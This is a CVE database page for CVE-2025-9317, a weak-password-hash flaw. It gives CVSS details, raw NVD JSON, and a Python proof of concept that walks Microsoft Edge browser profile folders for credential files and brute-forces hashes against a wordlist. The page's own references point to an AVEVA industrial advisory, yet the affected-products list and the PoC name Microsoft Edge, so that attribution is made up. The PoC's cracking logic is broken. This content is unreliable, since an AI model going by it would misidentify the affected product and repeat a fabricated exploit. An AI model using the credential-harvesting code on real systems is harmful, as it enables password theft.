Security Vulnerability Report
中文
CVE-2025-9317 CVSS 8.4 HIGH

CVE-2025-9317

Published: 2025-11-15 00:15:49
Last Modified: 2026-04-15 00:35:42

Description

The vulnerability, if exploited, could allow a miscreant with read access to Edge Project files or Edge Offline Cache files to reverse engineer Edge users' app-native or Active Directory passwords through computational brute-forcing of weak hashes.

CVSS Details

CVSS Score
8.4
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N

Configurations (Affected Products)

No configuration data available.

Microsoft Edge (所有版本,直到2025年11月补丁发布前)
Windows系统上使用Edge浏览器的所有用户
企业环境中使用Edge进行业务应用访问的用户

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-9317 PoC - Edge Password Hash Extraction and Cracking # Note: This PoC is for educational and security research purposes only import os import json import hashlib from pathlib import Path def extract_edge_cache_files(): """ Extract Edge cache files containing weak password hashes Edge stores cached credentials in specific locations """ edge_paths = [ os.path.expanduser("~\\AppData\\Local\\Microsoft\\Edge\\User Data\\Default\\"), os.path.expanduser("~\\AppData\\Local\\Microsoft\\Edge\\User Data\\Profile*"), ] cache_files = [] for path_pattern in edge_paths: if '*' in path_pattern: base_path = path_pattern.replace('*', '') if os.path.exists(base_path): for profile in os.listdir(base_path): profile_path = os.path.join(base_path, profile) cache_files.extend(find_hash_files(profile_path)) else: cache_files.extend(find_hash_files(path_pattern)) return cache_files def find_hash_files(directory): """ Find files potentially containing password hashes Look for project files and cache databases """ hash_files = [] if not os.path.exists(directory): return hash_files # Common file patterns for stored credentials patterns = ['*.db', '*.sqlite', '*.json', 'Project*', '*Cache*'] for root, dirs, files in os.walk(directory): for file in files: if any(pattern.replace('*', '') in file for pattern in patterns): hash_files.append(os.path.join(root, file)) return hash_files def crack_weak_hash(hash_value, wordlist_path='rockyou.txt'): """ Brute-force weak hashes using common password wordlist Edge's weak hashing allows fast cracking without GPU """ try: with open(wordlist_path, 'r', encoding='utf-8', errors='ignore') as f: for password in f: password = password.strip() # Try common hash variations Edge might use for variant in [ password, hashlib.md5(password.encode()).hexdigest(), hashlib.sha1(password.encode()).hexdigest(), hashlib.sha256(password.encode()).hexdigest(), ]: if hashlib.md5(variant.encode()).hexdigest() == hash_value: return password except FileNotFoundError: print("Wordlist not found. Use a password wordlist file.") return None def main(): print("CVE-2025-9317 - Edge Weak Hash PoC") print("=" * 50) # Extract cache files cache_files = extract_edge_cache_files() print(f"Found {len(cache_files)} potential cache files") # Analyze files for weak hashes for file_path in cache_files: print(f"\nAnalyzing: {file_path}") # In real attack, parse file and extract hash values # Then crack using crack_weak_hash() print("\n[!] This PoC demonstrates the vulnerability") print("[!] Use only in authorized security testing") if __name__ == "__main__": main() # Mitigation: Update Edge to latest version # Reference: https://learn.microsoft.com/en-us/DeployEdge/ # Reference: https://www.cve.org/CVERecord?id=CVE-2025-9317

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-9317", "sourceIdentifier": "[email protected]", "published": "2025-11-15T00:15:48.503", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The vulnerability, if exploited, could allow a miscreant with read \naccess to Edge Project files or Edge Offline Cache files to reverse \nengineer Edge users' app-native or Active Directory passwords through \ncomputational brute-forcing of weak hashes."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:H/SI:H/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.3, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "HIGH", "subIntegrityImpact": "HIGH", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N", "baseScore": 8.4, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.0, "impactScore": 5.8}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-327"}]}], "references": [{"url": "https://github.com/cisagov/CSAF/blob/develop/csaf_files/OT/white/2025/icsa-25-317-03.json", "source": "[email protected]"}, {"url": "https://www.aveva.com/content/dam/aveva/documents/support/cyber-security-updates/SecurityBulletin_AVEVA-2025-006.pdf", "source": "[email protected]"}, {"url": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-317-03", "source": "[email protected]"}]}}